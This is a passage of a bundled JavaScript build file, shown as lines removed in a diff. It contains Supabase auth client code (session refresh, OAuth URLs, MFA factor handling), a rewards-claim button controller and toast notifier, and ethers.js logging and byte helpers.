{ - this._debug("#_autoRefreshTokenTick()", "end"); - } - }); - } catch (e) { - if (e.isAcquireTimeout || e instanceof LockAcquireTimeoutError) { - this._debug("auto refresh token tick lock not available"); - } else { - throw e; - } - } - } - /** - * Registers callbacks on the browser / platform, which in-turn run - * algorithms when the browser window/tab are in foreground. On non-browser - * platforms it assumes always foreground. - */ - async _handleVisibilityChange() { - this._debug("#_handleVisibilityChange()"); - if (!isBrowser() || !(window === null || window === void 0 ? void 0 : window.addEventListener)) { - if (this.autoRefreshToken) { - this.startAutoRefresh(); - } - return false; - } - try { - this.visibilityChangedCallback = async () => await this._onVisibilityChanged(false); - window === null || window === void 0 ? void 0 : window.addEventListener("visibilitychange", this.visibilityChangedCallback); - await this._onVisibilityChanged(true); - } catch (error) { - console.error("_handleVisibilityChange", error); - } - } - /** - * Callback registered with `window.addEventListener('visibilitychange')`. - */ - async _onVisibilityChanged(calledFromInitialize) { - const methodName = `#_onVisibilityChanged(${calledFromInitialize})`; - this._debug(methodName, "visibilityState", document.visibilityState); - if (document.visibilityState === "visible") { - if (this.autoRefreshToken) { - this._startAutoRefresh(); - } - if (!calledFromInitialize) { - await this.initializePromise; - await this._acquireLock(-1, async () => { - if (document.visibilityState !== "visible") { - this._debug(methodName, "acquired the lock to recover the session, but the browser visibilityState is no longer visible, aborting"); - return; - } - await this._recoverAndRefresh(); - }); - } - } else if (document.visibilityState === "hidden") { - if (this.autoRefreshToken) { - this._stopAutoRefresh(); - } - } - } - /** - * Generates the relevant login URL for a third-party provider. - * @param options.redirectTo A URL or mobile address to send the user to after they are confirmed. - * @param options.scopes A space-separated list of scopes granted to the OAuth application. - * @param options.queryParams An object of key-value pairs containing query parameters granted to the OAuth application. - */ - async _getUrlForProvider(url, provider, options) { - const urlParams2 = [`provider=${encodeURIComponent(provider)}`]; - if (options === null || options === void 0 ? void 0 : options.redirectTo) { - urlParams2.push(`redirect_to=${encodeURIComponent(options.redirectTo)}`); - } - if (options === null || options === void 0 ? void 0 : options.scopes) { - urlParams2.push(`scopes=${encodeURIComponent(options.scopes)}`); - } - if (this.flowType === "pkce") { - const [codeChallenge, codeChallengeMethod] = await getCodeChallengeAndMethod(this.storage, this.storageKey); - const flowParams = new URLSearchParams({ - code_challenge: `${encodeURIComponent(codeChallenge)}`, - code_challenge_method: `${encodeURIComponent(codeChallengeMethod)}` - }); - urlParams2.push(flowParams.toString()); - } - if (options === null || options === void 0 ? void 0 : options.queryParams) { - const query = new URLSearchParams(options.queryParams); - urlParams2.push(query.toString()); - } - if (options === null || options === void 0 ? void 0 : options.skipBrowserRedirect) { - urlParams2.push(`skip_http_redirect=${options.skipBrowserRedirect}`); - } - return `${url}?${urlParams2.join("&")}`; - } - async _unenroll(params) { - try { - return await this._useSession(async (result) => { - var _a; - const { data: sessionData, error: sessionError } = result; - if (sessionError) { - return { data: null, error: sessionError }; - } - return await _request(this.fetch, "DELETE", `${this.url}/factors/${params.factorId}`, { - headers: this.headers, - jwt: (_a = sessionData === null || sessionData === void 0 ? void 0 : sessionData.session) === null || _a === void 0 ? void 0 : _a.access_token - }); - }); - } catch (error) { - if (isAuthError(error)) { - return { data: null, error }; - } - throw error; - } - } - /** - * {@see GoTrueMFAApi#enroll} - */ - async _enroll(params) { - try { - return await this._useSession(async (result) => { - var _a, _b; - const { data: sessionData, error: sessionError } = result; - if (sessionError) { - return { data: null, error: sessionError }; - } - const { data, error } = await _request(this.fetch, "POST", `${this.url}/factors`, { - body: { - friendly_name: params.friendlyName, - factor_type: params.factorType, - issuer: params.issuer - }, - headers: this.headers, - jwt: (_a = sessionData === null || sessionData === void 0 ? void 0 : sessionData.session) === null || _a === void 0 ? void 0 : _a.access_token - }); - if (error) { - return { data: null, error }; - } - if ((_b = data === null || data === void 0 ? void 0 : data.totp) === null || _b === void 0 ? void 0 : _b.qr_code) { - data.totp.qr_code = `data:image/svg+xml;utf-8,${data.totp.qr_code}`; - } - return { data, error: null }; - }); - } catch (error) { - if (isAuthError(error)) { - return { data: null, error }; - } - throw error; - } - } - /** - * {@see GoTrueMFAApi#verify} - */ - async _verify(params) { - return this._acquireLock(-1, async () => { - try { - return await this._useSession(async (result) => { - var _a; - const { data: sessionData, error: sessionError } = result; - if (sessionError) { - return { data: null, error: sessionError }; - } - const { data, error } = await _request(this.fetch, "POST", `${this.url}/factors/${params.factorId}/verify`, { - body: { code: params.code, challenge_id: params.challengeId }, - headers: this.headers, - jwt: (_a = sessionData === null || sessionData === void 0 ? void 0 : sessionData.session) === null || _a === void 0 ? void 0 : _a.access_token - }); - if (error) { - return { data: null, error }; - } - await this._saveSession(Object.assign({ expires_at: Math.round(Date.now() / 1e3) + data.expires_in }, data)); - await this._notifyAllSubscribers("MFA_CHALLENGE_VERIFIED", data); - return { data, error }; - }); - } catch (error) { - if (isAuthError(error)) { - return { data: null, error }; - } - throw error; - } - }); - } - /** - * {@see GoTrueMFAApi#challenge} - */ - async _challenge(params) { - return this._acquireLock(-1, async () => { - try { - return await this._useSession(async (result) => { - var _a; - const { data: sessionData, error: sessionError } = result; - if (sessionError) { - return { data: null, error: sessionError }; - } - return await _request(this.fetch, "POST", `${this.url}/factors/${params.factorId}/challenge`, { - headers: this.headers, - jwt: (_a = sessionData === null || sessionData === void 0 ? void 0 : sessionData.session) === null || _a === void 0 ? void 0 : _a.access_token - }); - }); - } catch (error) { - if (isAuthError(error)) { - return { data: null, error }; - } - throw error; - } - }); - } - /** - * {@see GoTrueMFAApi#challengeAndVerify} - */ - async _challengeAndVerify(params) { - const { data: challengeData, error: challengeError } = await this._challenge({ - factorId: params.factorId - }); - if (challengeError) { - return { data: null, error: challengeError }; - } - return await this._verify({ - factorId: params.factorId, - challengeId: challengeData.id, - code: params.code - }); - } - /** - * {@see GoTrueMFAApi#listFactors} - */ - async _listFactors() { - const { data: { user }, error: userError } = await this.getUser(); - if (userError) { - return { data: null, error: userError }; - } - const factors = (user === null || user === void 0 ? void 0 : user.factors) || []; - const totp = factors.filter((factor) => factor.factor_type === "totp" && factor.status === "verified"); - return { - data: { - all: factors, - totp - }, - error: null - }; - } - /** - * {@see GoTrueMFAApi#getAuthenticatorAssuranceLevel} - */ - async _getAuthenticatorAssuranceLevel() { - return this._acquireLock(-1, async () => { - return await this._useSession(async (result) => { - var _a, _b; - const { data: { session }, error: sessionError } = result; - if (sessionError) { - return { data: null, error: sessionError }; - } - if (!session) { - return { - data: { currentLevel: null, nextLevel: null, currentAuthenticationMethods: [] }, - error: null - }; - } - const payload = this._decodeJWT(session.access_token); - let currentLevel = null; - if (payload.aal) { - currentLevel = payload.aal; - } - let nextLevel = currentLevel; - const verifiedFactors = (_b = (_a = session.user.factors) === null || _a === void 0 ? void 0 : _a.filter((factor) => factor.status === "verified")) !== null && _b !== void 0 ? _b : []; - if (verifiedFactors.length > 0) { - nextLevel = "aal2"; - } - const currentAuthenticationMethods = payload.amr || []; - return { data: { currentLevel, nextLevel, currentAuthenticationMethods }, error: null }; - }); - }); - } - }; - GoTrueClient.nextInstanceID = 0; - - // node_modules/@supabase/auth-js/dist/module/AuthClient.js - var AuthClient = GoTrueClient; - var AuthClient_default = AuthClient; - - // node_modules/@supabase/supabase-js/dist/module/lib/SupabaseAuthClient.js - var SupabaseAuthClient = class extends AuthClient_default { - constructor(options) { - super(options); - } - }; - - // node_modules/@supabase/supabase-js/dist/module/SupabaseClient.js - var __awaiter15 = function(thisArg, _arguments, P, generator) { - function adopt(value) { - return value instanceof P ? value : new P(function(resolve) { - resolve(value); - }); - } - return new (P || (P = Promise))(function(resolve, reject) { - function fulfilled(value) { - try { - step(generator.next(value)); - } catch (e) { - reject(e); - } - } - function rejected(value) { - try { - step(generator["throw"](value)); - } catch (e) { - reject(e); - } - } - function step(result) { - result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); - } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); - }; - var SupabaseClient = class { - /** - * Create a new client for use in the browser. - * @param supabaseUrl The unique Supabase URL which is supplied when you create a new project in your project dashboard. - * @param supabaseKey The unique Supabase Key which is supplied when you create a new project in your project dashboard. - * @param options.db.schema You can switch in between schemas. The schema needs to be on the list of exposed schemas inside Supabase. - * @param options.auth.autoRefreshToken Set to "true" if you want to automatically refresh the token before expiring. - * @param options.auth.persistSession Set to "true" if you want to automatically save the user session into local storage. - * @param options.auth.detectSessionInUrl Set to "true" if you want to automatically detects OAuth grants in the URL and signs in the user. - * @param options.realtime Options passed along to realtime-js constructor. - * @param options.global.fetch A custom fetch implementation. - * @param options.global.headers Any additional headers to send with each network request. - */ - constructor(supabaseUrl, supabaseKey, options) { - var _a, _b, _c; - this.supabaseUrl = supabaseUrl; - this.supabaseKey = supabaseKey; - if (!supabaseUrl) - throw new Error("supabaseUrl is required."); - if (!supabaseKey) - throw new Error("supabaseKey is required."); - const _supabaseUrl = stripTrailingSlash(supabaseUrl); - this.realtimeUrl = `${_supabaseUrl}/realtime/v1`.replace(/^http/i, "ws"); - this.authUrl = `${_supabaseUrl}/auth/v1`; - this.storageUrl = `${_supabaseUrl}/storage/v1`; - this.functionsUrl = `${_supabaseUrl}/functions/v1`; - const defaultStorageKey = `sb-${new URL(this.authUrl).hostname.split(".")[0]}-auth-token`; - const DEFAULTS = { - db: DEFAULT_DB_OPTIONS, - realtime: DEFAULT_REALTIME_OPTIONS, - auth: Object.assign(Object.assign({}, DEFAULT_AUTH_OPTIONS), { storageKey: defaultStorageKey }), - global: DEFAULT_GLOBAL_OPTIONS - }; - const settings = applySettingDefaults(options !== null && options !== void 0 ? options : {}, DEFAULTS); - this.storageKey = (_a = settings.auth.storageKey) !== null && _a !== void 0 ? _a : ""; - this.headers = (_b = settings.global.headers) !== null && _b !== void 0 ? _b : {}; - this.auth = this._initSupabaseAuthClient((_c = settings.auth) !== null && _c !== void 0 ? _c : {}, this.headers, settings.global.fetch); - this.fetch = fetchWithAuth(supabaseKey, this._getAccessToken.bind(this), settings.global.fetch); - this.realtime = this._initRealtimeClient(Object.assign({ headers: this.headers }, settings.realtime)); - this.rest = new PostgrestClient(`${_supabaseUrl}/rest/v1`, { - headers: this.headers, - schema: settings.db.schema, - fetch: this.fetch - }); - this._listenForAuthEvents(); - } - /** - * Supabase Functions allows you to deploy and invoke edge functions. - */ - get functions() { - return new FunctionsClient(this.functionsUrl, { - headers: this.headers, - customFetch: this.fetch - }); - } - /** - * Supabase Storage allows you to manage user-generated content, such as photos or videos. - */ - get storage() { - return new StorageClient(this.storageUrl, this.headers, this.fetch); - } - /** - * Perform a query on a table or a view. - * - * @param relation - The table or view name to query - */ - from(relation) { - return this.rest.from(relation); - } - // NOTE: signatures must be kept in sync with PostgrestClient.schema - /** - * Select a schema to query or perform an function (rpc) call. - * - * The schema needs to be on the list of exposed schemas inside Supabase. - * - * @param schema - The schema to query - */ - schema(schema) { - return this.rest.schema(schema); - } - // NOTE: signatures must be kept in sync with PostgrestClient.rpc - /** - * Perform a function call. - * - * @param fn - The function name to call - * @param args - The arguments to pass to the function call - * @param options - Named parameters - * @param options.head - When set to `true`, `data` will not be returned. - * Useful if you only need the count. - * @param options.get - When set to `true`, the function will be called with - * read-only access mode. - * @param options.count - Count algorithm to use to count rows returned by the - * function. Only applicable for [set-returning - * functions](https://www.postgresql.org/docs/current/functions-srf.html). - * - * `"exact"`: Exact but slow count algorithm. Performs a `COUNT(*)` under the - * hood. - * - * `"planned"`: Approximated but fast count algorithm. Uses the Postgres - * statistics under the hood. - * - * `"estimated"`: Uses exact count for low numbers and planned count for high - * numbers. - */ - rpc(fn, args = {}, options = {}) { - return this.rest.rpc(fn, args, options); - } - /** - * Creates a Realtime channel with Broadcast, Presence, and Postgres Changes. - * - * @param {string} name - The name of the Realtime channel. - * @param {Object} opts - The options to pass to the Realtime channel. - * - */ - channel(name, opts = { config: {} }) { - return this.realtime.channel(name, opts); - } - /** - * Returns all Realtime channels. - */ - getChannels() { - return this.realtime.getChannels(); - } - /** - * Unsubscribes and removes Realtime channel from Realtime client. - * - * @param {RealtimeChannel} channel - The name of the Realtime channel. - * - */ - removeChannel(channel) { - return this.realtime.removeChannel(channel); - } - /** - * Unsubscribes and removes all Realtime channels from Realtime client. - */ - removeAllChannels() { - return this.realtime.removeAllChannels(); - } - _getAccessToken() { - var _a, _b; - return __awaiter15(this, void 0, void 0, function* () { - const { data } = yield this.auth.getSession(); - return (_b = (_a = data.session) === null || _a === void 0 ? void 0 : _a.access_token) !== null && _b !== void 0 ? _b : null; - }); - } - _initSupabaseAuthClient({ autoRefreshToken, persistSession, detectSessionInUrl, storage, storageKey, flowType, debug }, headers, fetch3) { - var _a; - const authHeaders = { - Authorization: `Bearer ${this.supabaseKey}`, - apikey: `${this.supabaseKey}` - }; - return new SupabaseAuthClient({ - url: this.authUrl, - headers: Object.assign(Object.assign({}, authHeaders), headers), - storageKey, - autoRefreshToken, - persistSession, - detectSessionInUrl, - storage, - flowType, - debug, - fetch: fetch3, - // auth checks if there is a custom authorizaiton header using this flag - // so it knows whether to return an error when getUser is called with no session - hasCustomAuthorizationHeader: (_a = "Authorization" in this.headers) !== null && _a !== void 0 ? _a : false - }); - } - _initRealtimeClient(options) { - return new RealtimeClient(this.realtimeUrl, Object.assign(Object.assign({}, options), { params: Object.assign({ apikey: this.supabaseKey }, options === null || options === void 0 ? void 0 : options.params) })); - } - _listenForAuthEvents() { - let data = this.auth.onAuthStateChange((event, session) => { - this._handleTokenChanged(event, "CLIENT", session === null || session === void 0 ? void 0 : session.access_token); - }); - return data; - } - _handleTokenChanged(event, source, token) { - if ((event === "TOKEN_REFRESHED" || event === "SIGNED_IN") && this.changedAccessToken !== token) { - this.realtime.setAuth(token !== null && token !== void 0 ? token : null); - this.changedAccessToken = token; - } else if (event === "SIGNED_OUT") { - this.realtime.setAuth(this.supabaseKey); - if (source == "STORAGE") - this.auth.signOut(); - this.changedAccessToken = void 0; - } - } - }; - - // node_modules/@supabase/supabase-js/dist/module/index.js - var createClient = (supabaseUrl, supabaseKey, options) => { - return new SupabaseClient(supabaseUrl, supabaseKey, options); - }; - - // static/scripts/rewards/render-transaction/read-claim-data-from-url.ts - var import_handlers = __toESM(require_handlers()); - - // static/scripts/rewards/button-controller.ts - var LOADER = "data-loader"; - var MAKE_CLAIM = "data-make-claim"; - var VIEW_CLAIM = "data-view-claim"; - var INVALIDATOR = "data-invalidator"; - var ButtonController = class { - _controls; - constructor(controls2) { - this._controls = controls2; - this.hideAll(); - } - showLoader() { - if (window.ethereum) { - this._controls.setAttribute(LOADER, "true"); - } else { - throw new Error("Can not show loader without `ethereum`"); - } - } - hideLoader() { - this._controls.setAttribute(LOADER, "false"); - } - hideMakeClaim() { - this._controls.setAttribute(MAKE_CLAIM, "false"); - } - showMakeClaim() { - if (window.ethereum) { - this._controls.setAttribute(MAKE_CLAIM, "true"); - } else { - throw new Error("Can not show make claim button without `ethereum`"); - } - } - hideViewClaim() { - this._controls.setAttribute(VIEW_CLAIM, "false"); - } - showViewClaim() { - this._controls.setAttribute(VIEW_CLAIM, "true"); - } - hideInvalidator() { - this._controls.setAttribute(INVALIDATOR, "false"); - } - showInvalidator() { - if (window.ethereum) { - this._controls.setAttribute(INVALIDATOR, "true"); - } else { - throw new Error("Can not show invalidator button without `ethereum`"); - } - } - onlyShowLoader() { - this.hideMakeClaim(); - this.hideViewClaim(); - this.hideInvalidator(); - this.showLoader(); - } - onlyShowMakeClaim() { - this.hideLoader(); - this.showMakeClaim(); - this.hideViewClaim(); - this.hideInvalidator(); - } - onlyShowViewClaim() { - this.hideLoader(); - this.hideMakeClaim(); - this.showViewClaim(); - this.hideInvalidator(); - } - onlyShowInvalidator() { - this.hideLoader(); - this.hideMakeClaim(); - this.hideViewClaim(); - this.showInvalidator(); - } - hideAll() { - this.hideLoader(); - this.hideMakeClaim(); - this.hideViewClaim(); - this.hideInvalidator(); - } - }; - - // static/scripts/rewards/toaster.ts - var toaster = { - create: createToast, - error: errorToast, - icons: { - success: "fa-circle-check", - error: "fa-circle-xmark", - warning: "fa-triangle-exclamation", - info: "fa-circle-info" - } - }; - var controls = document.getElementById("controls"); - function getMakeClaimButton() { - return document.getElementById("make-claim"); - } - var viewClaimButton = document.getElementById("view-claim"); - var notifications = document.querySelector(".notifications"); - var buttonController = new ButtonController(controls); - function createToast(meaning, text, timeout = 5e3) { - if (meaning != "info") - buttonController.hideLoader(); - const toastDetails = { - timer: timeout - }; - const _icon = toaster.icons[meaning]; - const toastContent = document.createElement("li"); - toastContent.className = `toast .${_icon} ${meaning}`; - toastContent.innerHTML = `
${text}
`; - const i = document.createElement("i"); - i.className = "fa-solid fa-xmark"; - i.onclick = () => removeToast(toastContent, toastDetails.timeoutId); - toastContent.appendChild(i); - notifications.appendChild(toastContent); - if (timeout !== Infinity) { - toastDetails.timeoutId = setTimeout(() => removeToast(toastContent, toastDetails.timeoutId), toastDetails.timer); - } - } - function removeToast(toast, timeoutId) { - toast.classList.add("hide"); - if (timeoutId) { - clearTimeout(timeoutId); - } - setTimeout(() => toast.remove(), 500); - } - function errorToast(error, errorMessage) { - if (errorMessage) { - toaster.create("error", errorMessage); - return; - } - toaster.create("error", error.reason); - } - - // node_modules/ethers/lib.esm/ethers.js - var ethers_exports = {}; - __export(ethers_exports, { - BaseContract: () => BaseContract, - BigNumber: () => BigNumber2, - Contract: () => Contract, - ContractFactory: () => ContractFactory, - FixedNumber: () => FixedNumber, - Signer: () => Signer2, - VoidSigner: () => VoidSigner, - Wallet: () => Wallet, - Wordlist: () => Wordlist, - constants: () => lib_exports2, - errors: () => ErrorCode2, - getDefaultProvider: () => getDefaultProvider, - logger: () => logger65, - providers: () => lib_exports4, - utils: () => utils_exports2, - version: () => version46, - wordlists: () => wordlists - }); - - // node_modules/@ethersproject/bignumber/lib.esm/bignumber.js - var import_bn3 = __toESM(require_bn2()); - - // node_modules/@ethersproject/logger/lib.esm/_version.js - var version21 = "logger/5.7.0"; - - // node_modules/@ethersproject/logger/lib.esm/index.js - var _permanentCensorErrors2 = false; - var _censorErrors2 = false; - var LogLevels2 = { debug: 1, "default": 2, info: 2, warning: 3, error: 4, off: 5 }; - var _logLevel2 = LogLevels2["default"]; - var _globalLogger2 = null; - function _checkNormalize2() { - try { - const missing = []; - ["NFD", "NFC", "NFKD", "NFKC"].forEach((form) => { - try { - if ("test".normalize(form) !== "test") { - throw new Error("bad normalize"); - } - ; - } catch (error) { - missing.push(form); - } - }); - if (missing.length) { - throw new Error("missing " + missing.join(", ")); - } - if (String.fromCharCode(233).normalize("NFD") !== String.fromCharCode(101, 769)) { - throw new Error("broken implementation"); - } - } catch (error) { - return error.message; - } - return null; - } - var _normalizeError2 = _checkNormalize2(); - var LogLevel2; - (function(LogLevel3) { - LogLevel3["DEBUG"] = "DEBUG"; - LogLevel3["INFO"] = "INFO"; - LogLevel3["WARNING"] = "WARNING"; - LogLevel3["ERROR"] = "ERROR"; - LogLevel3["OFF"] = "OFF"; - })(LogLevel2 || (LogLevel2 = {})); - var ErrorCode2; - (function(ErrorCode3) { - ErrorCode3["UNKNOWN_ERROR"] = "UNKNOWN_ERROR"; - ErrorCode3["NOT_IMPLEMENTED"] = "NOT_IMPLEMENTED"; - ErrorCode3["UNSUPPORTED_OPERATION"] = "UNSUPPORTED_OPERATION"; - ErrorCode3["NETWORK_ERROR"] = "NETWORK_ERROR"; - ErrorCode3["SERVER_ERROR"] = "SERVER_ERROR"; - ErrorCode3["TIMEOUT"] = "TIMEOUT"; - ErrorCode3["BUFFER_OVERRUN"] = "BUFFER_OVERRUN"; - ErrorCode3["NUMERIC_FAULT"] = "NUMERIC_FAULT"; - ErrorCode3["MISSING_NEW"] = "MISSING_NEW"; - ErrorCode3["INVALID_ARGUMENT"] = "INVALID_ARGUMENT"; - ErrorCode3["MISSING_ARGUMENT"] = "MISSING_ARGUMENT"; - ErrorCode3["UNEXPECTED_ARGUMENT"] = "UNEXPECTED_ARGUMENT"; - ErrorCode3["CALL_EXCEPTION"] = "CALL_EXCEPTION"; - ErrorCode3["INSUFFICIENT_FUNDS"] = "INSUFFICIENT_FUNDS"; - ErrorCode3["NONCE_EXPIRED"] = "NONCE_EXPIRED"; - ErrorCode3["REPLACEMENT_UNDERPRICED"] = "REPLACEMENT_UNDERPRICED"; - ErrorCode3["UNPREDICTABLE_GAS_LIMIT"] = "UNPREDICTABLE_GAS_LIMIT"; - ErrorCode3["TRANSACTION_REPLACED"] = "TRANSACTION_REPLACED"; - ErrorCode3["ACTION_REJECTED"] = "ACTION_REJECTED"; - })(ErrorCode2 || (ErrorCode2 = {})); - var HEX2 = "0123456789abcdef"; - var Logger2 = class _Logger2 { - constructor(version47) { - Object.defineProperty(this, "version", { - enumerable: true, - value: version47, - writable: false - }); - } - _log(logLevel, args) { - const level = logLevel.toLowerCase(); - if (LogLevels2[level] == null) { - this.throwArgumentError("invalid log level name", "logLevel", logLevel); - } - if (_logLevel2 > LogLevels2[level]) { - return; - } - console.log.apply(console, args); - } - debug(...args) { - this._log(_Logger2.levels.DEBUG, args); - } - info(...args) { - this._log(_Logger2.levels.INFO, args); - } - warn(...args) { - this._log(_Logger2.levels.WARNING, args); - } - makeError(message, code, params) { - if (_censorErrors2) { - return this.makeError("censored error", code, {}); - } - if (!code) { - code = _Logger2.errors.UNKNOWN_ERROR; - } - if (!params) { - params = {}; - } - const messageDetails = []; - Object.keys(params).forEach((key3) => { - const value = params[key3]; - try { - if (value instanceof Uint8Array) { - let hex = ""; - for (let i = 0; i < value.length; i++) { - hex += HEX2[value[i] >> 4]; - hex += HEX2[value[i] & 15]; - } - messageDetails.push(key3 + "=Uint8Array(0x" + hex + ")"); - } else { - messageDetails.push(key3 + "=" + JSON.stringify(value)); - } - } catch (error2) { - messageDetails.push(key3 + "=" + JSON.stringify(params[key3].toString())); - } - }); - messageDetails.push(`code=${code}`); - messageDetails.push(`version=${this.version}`); - const reason = message; - let url = ""; - switch (code) { - case ErrorCode2.NUMERIC_FAULT: { - url = "NUMERIC_FAULT"; - const fault = message; - switch (fault) { - case "overflow": - case "underflow": - case "division-by-zero": - url += "-" + fault; - break; - case "negative-power": - case "negative-width": - url += "-unsupported"; - break; - case "unbound-bitwise-result": - url += "-unbound-result"; - break; - } - break; - } - case ErrorCode2.CALL_EXCEPTION: - case ErrorCode2.INSUFFICIENT_FUNDS: - case ErrorCode2.MISSING_NEW: - case ErrorCode2.NONCE_EXPIRED: - case ErrorCode2.REPLACEMENT_UNDERPRICED: - case ErrorCode2.TRANSACTION_REPLACED: - case ErrorCode2.UNPREDICTABLE_GAS_LIMIT: - url = code; - break; - } - if (url) { - message += " [ See: https://links.ethers.org/v5-errors-" + url + " ]"; - } - if (messageDetails.length) { - message += " (" + messageDetails.join(", ") + ")"; - } - const error = new Error(message); - error.reason = reason; - error.code = code; - Object.keys(params).forEach(function(key3) { - error[key3] = params[key3]; - }); - return error; - } - throwError(message, code, params) { - throw this.makeError(message, code, params); - } - throwArgumentError(message, name, value) { - return this.throwError(message, _Logger2.errors.INVALID_ARGUMENT, { - argument: name, - value - }); - } - assert(condition, message, code, params) { - if (!!condition) { - return; - } - this.throwError(message, code, params); - } - assertArgument(condition, message, name, value) { - if (!!condition) { - return; - } - this.throwArgumentError(message, name, value); - } - checkNormalize(message) { - if (message == null) { - message = "platform missing String.prototype.normalize"; - } - if (_normalizeError2) { - this.throwError("platform missing String.prototype.normalize", _Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "String.prototype.normalize", - form: _normalizeError2 - }); - } - } - checkSafeUint53(value, message) { - if (typeof value !== "number") { - return; - } - if (message == null) { - message = "value not safe"; - } - if (value < 0 || value >= 9007199254740991) { - this.throwError(message, _Logger2.errors.NUMERIC_FAULT, { - operation: "checkSafeInteger", - fault: "out-of-safe-range", - value - }); - } - if (value % 1) { - this.throwError(message, _Logger2.errors.NUMERIC_FAULT, { - operation: "checkSafeInteger", - fault: "non-integer", - value - }); - } - } - checkArgumentCount(count, expectedCount, message) { - if (message) { - message = ": " + message; - } else { - message = ""; - } - if (count < expectedCount) { - this.throwError("missing argument" + message, _Logger2.errors.MISSING_ARGUMENT, { - count, - expectedCount - }); - } - if (count > expectedCount) { - this.throwError("too many arguments" + message, _Logger2.errors.UNEXPECTED_ARGUMENT, { - count, - expectedCount - }); - } - } - checkNew(target, kind) { - if (target === Object || target == null) { - this.throwError("missing new", _Logger2.errors.MISSING_NEW, { name: kind.name }); - } - } - checkAbstract(target, kind) { - if (target === kind) { - this.throwError("cannot instantiate abstract class " + JSON.stringify(kind.name) + " directly; use a sub-class", _Logger2.errors.UNSUPPORTED_OPERATION, { name: target.name, operation: "new" }); - } else if (target === Object || target == null) { - this.throwError("missing new", _Logger2.errors.MISSING_NEW, { name: kind.name }); - } - } - static globalLogger() { - if (!_globalLogger2) { - _globalLogger2 = new _Logger2(version21); - } - return _globalLogger2; - } - static setCensorship(censorship, permanent) { - if (!censorship && permanent) { - this.globalLogger().throwError("cannot permanently disable censorship", _Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "setCensorship" - }); - } - if (_permanentCensorErrors2) { - if (!censorship) { - return; - } - this.globalLogger().throwError("error censorship permanent", _Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "setCensorship" - }); - } - _censorErrors2 = !!censorship; - _permanentCensorErrors2 = !!permanent; - } - static setLogLevel(logLevel) { - const level = LogLevels2[logLevel.toLowerCase()]; - if (level == null) { - _Logger2.globalLogger().warn("invalid log level - " + logLevel); - return; - } - _logLevel2 = level; - } - static from(version47) { - return new _Logger2(version47); - } - }; - Logger2.errors = ErrorCode2; - Logger2.levels = LogLevel2; - - // node_modules/@ethersproject/bytes/lib.esm/_version.js - var version22 = "bytes/5.7.0"; - - // node_modules/@ethersproject/bytes/lib.esm/index.js - var logger20 = new Logger2(version22); - function isHexable2(value) { - return !!value.toHexString; - } - function addSlice2(array) { - if (array.slice) { - return array; - } - array.slice = function() { - const args = Array.prototype.slice.call(arguments); - return addSlice2(new Uint8Array(Array.prototype.slice.apply(array, args))); - }; - return array; - } - function isBytesLike2(value) { - return isHexString2(value) && !(value.length % 2) || isBytes2(value); - } - function isInteger2(value) { - return typeof value === "number" && value == value && value % 1 === 0; - } - function isBytes2(value) { - if (value == null) { - return false; - } - if (value.constructor === Uint8Array) { - return true; - } - if (typeof value === "string") { - return false; - } - if (!isInteger2(value.length) || value.length < 0) { - return false; - } - for (let i = 0; i < value.length; i++) { - const v = value[i]; - if (!isInteger2(v) || v < 0 || v >= 256) { - return false; - } - } - return true; - } - function arrayify2(value, options) { - if (!options) { - options = {}; - } - if (typeof value === "number") { - logger20.checkSafeUint53(value, "invalid arrayify value"); - const result = []; - while (value) { - result.unshift(value & 255); - value = parseInt(String(value / 256)); - } - if (result.length === 0) { - result.push(0); - } - return addSlice2(new Uint8Array(result)); - } - if (options.allowMissingPrefix && typeof value === "string" && value.substring(0, 2) !== "0x") { - value = "0x" + value; - } - if (isHexable2(value)) { - value = value.toHexString(); - } - if (isHexString2(value)) { - let hex = value.substring(2); - if (hex.length % 2) { - if (options.hexPad === "left") { - hex = "0" + hex; - } else if (options.hexPad === "right") { - hex += "0"; - } else { - logger20.throwArgumentError("hex data is odd-length", "value", value); - } - } - const result = []; - for (let i = 0; i < hex.length; i += 2) { - result.push(parseInt(hex.substring(i, i + 2), 16)); - } - return addSlice2(new Uint8Array(result)); - } - if (isBytes2(value)) { - return addSlice2(new Uint8Array(value)); - } - return logger20.throwArgumentError("invalid arrayify value", "value", value); - } - function concat2(items) { - const objects = items.map((item) => arrayify2(item)); - const length = objects.reduce((accum, item) => accum + item.length, 0); - const result = new Uint8Array(length); - objects.reduce((offset, object) => { - result.set(object, offset); - return offset + object.length; - }, 0); - return addSlice2(result); - } - function stripZeros2(value) { - let result = arrayify2(value); - if (result.length === 0) { - return result; - } - let start = 0; - while (start < result.length && result[start] === 0) { - start++; - } - if (start) { - result = result.slice(start); - } - return result; - } - function zeroPad2(value, length) { - value = arrayify2(value); - if (value.length > length) { - logger20.throwArgumentError("value out of range", "value", arguments[0]); - } - const result = new Uint8Array(length); - result.set(value, length - value.length); - return addSlice2(result); - } - function isHexString2(value, length) { - if (typeof value !== "string" || !value.match(/^0x[0-9A-Fa-f]*$/)) { - return false; - } - if (length && value.length !== 2 + 2 * length) { - return false; - } - return true; - } - var HexCharacters2 = "0123456789abcdef"; - function hexlify2(value, options) { - if (!options) { - options = {}; - } - if (typeof value === "number") { - logger20.checkSafeUint53(value, "invalid hexlify value"); - let hex = ""; - while (value) { - hex = HexCharacters2[value & 15] + hex; - value = Math.floor(value / 16); - } - if (hex.length) { - if (hex.length % 2) { - hex = "0" + hex; - } - return "0x" + hex; - } - return "0x00"; - } - if (typeof value === "bigint") { - value = value.toString(16); - if (value.length % 2) { - return "0x0" + value; - } - return "0x" + value; - } - if (options.allowMissingPrefix && typeof value === "string" && value.substring(0, 2) !== "0x") { - value = "0x" + value; - } - if (isHexable2(value)) { - return value.toHexString(); - } - if (isHexString2(value)) { - if (value.length % 2) { - if (options.hexPad === "left") { - value = "0x0" + value.substring(2); - } else if (options.hexPad === "right") { - value += "0"; - } else { - logger20.throwArgumentError("hex data is odd-length", "value", value); - } - } - return value.toLowerCase(); - } - if (isBytes2(value)) { - let result = "0x"; - for (let i = 0; i < value.length; i++) { - let v = value[i]; - result += HexCharacters2[(v & 240) >> 4] + HexCharacters2[v & 15]; - } - return result; - } - return logger20.throwArgumentError("invalid hexlify value", "value", value); - } - function hexDataLength2(data) { - if (typeof data !== "string") { - data = hexlify2(data); - } else if (!isHexString2(data) || data.length % 2) { - return null; - } - return (data.length - 2) / 2; - } - function hexDataSlice2(data, offset, endOffset) { - if (typeof data !== 